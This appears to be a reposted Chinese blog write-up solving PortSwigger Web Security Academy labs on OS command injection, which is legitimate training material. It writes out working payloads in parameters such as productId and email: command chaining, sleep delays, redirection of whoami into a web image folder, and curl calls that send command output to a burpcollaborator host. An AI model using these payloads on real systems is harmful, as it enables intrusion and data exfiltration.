zoukankan      html  css  js  c++  java
  • Portswigger-web-security-academy:os command injection

    os command injection

    OS command injection, simple case

    • 题目描述

      • 环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果

      • 要求运行whoami来确认当前用户身份

    • 解题过程

      • 先找注入点

        找到注入点在选地区,查剩余库存的功能点(check stock)

      • 注入

        burp拦截,productId=3%26echo 123&storeId=2

        返回123 2,说明存在命令注入

      • 构造payload

        productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里

        修改productId=3%26whoami%26echo &storeId=2

    Blind OS command injection with time delays

    • 题目描述

      • feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回

      • 要求产生10秒的延时

    • 解题过程

      • 先去搜索了一下linux下的延迟命令

        • 找到一个 sleep num[s/m/h/d]
      • 用burp抓包,经过测试,发现email参数异常,当其中包含有& | ; %0a ` 或者它们的url编码时会返回Could not save

        • 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
      • 尝试

        • |sleep%2010s|

          仍然报错,但是可以看到命令已经成功运行,猜测是管道符|导致的参数错误

        • 再次尝试,||sleep%20100s||,成功且没有报错

    Blind OS command injection with out put redirection

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面
      • 要求把whoami的结果重定向到上述目录,并拿到结果
    • 解题过程

      • 寻找打开图片的接口

        • /image?filename=xx.jpg

      • 寻找漏洞点

        使用上一题的payload,发现漏洞点仍然在email

      • 构造payload并执行

        ||whoami%20>/var/www/images/1.jpg||

      • 利用图片接口,获得结果

    Blind OS command injection with out-of-band interaction

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
      • 要求执行一个DNS lookup,(利用 collaborator
    • 解题过程

      • 直接构造payload

        ||curl%20xxx.burpcollaborator.net||即可

        但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果

        最终的payload:||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||

        在尝试&和yt交流之后,发现以下payload也可以:

        • a=whoami;curl xxx.xxx/`$a`

        • a=`whoami`;curl xxx.xxx/$a

        curl xxx.xxx/`whoami` 这样最简单

    Blind OS command injection with out-of-band data exfiltration

    • 题目描述

      • feedback功能点存在命令注入(盲注)
      • 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
      • 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
    • 解题过程

      • 直接用上道题最后的payload即可

        ||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||

        (更新)||curl%20xxx.burpcollaborator.net/`whoami`||

  • 相关阅读:
    2014 中华架构师大会 回想
    mybatis重拾---部署官方demo
    D 语言学习感受
    D语言学习
    D语言简介
    C++输入cin详解
    C++源文件的后缀名问题
    C 函数指针详解
    Linux下的五个查找命令:grep、find、locate、whereis、which
    Qt---QFtp上传、下载二进制文件
  • 原文地址:https://www.cnblogs.com/R3col/p/14161789.html
Copyright © 2011-2022 走看看